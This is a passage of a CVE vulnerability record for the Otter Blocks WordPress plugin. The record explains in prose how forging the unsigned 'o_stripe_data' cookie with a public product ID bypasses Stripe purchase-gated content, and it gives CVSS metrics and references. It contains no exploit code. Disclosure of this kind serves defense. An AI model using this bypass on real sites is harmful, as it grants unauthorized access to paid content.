This is due to the 'get_customer_data' method relying on an unsigned 'o_stripe_data' cookie to determine Stripe product ownership for unauthenticated users. The 'check_purchase' method trusts this cookie data without performing server-side verification against the Stripe API for one-time 'payment' mode purchases. This makes it possible for unauthenticated attackers to bypass Stripe purchase-gated content visibility conditions by forging the 'o_stripe_data' cookie with a target product ID, which is publicly exposed in the checkout block's HTML source."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/otter-blocks/trunk/inc/plugins/class-block-conditions.php#L274", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/otter-blocks/trunk/inc/plugins/class-stripe-api.php#L260", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/otter-blocks/trunk/inc/plugins/class-stripe-api.php#L284", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3471326/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3443950f-1f94-4e0b-8906-1a9b9602a746?source=cve", "source": "[email protected]"}]}}
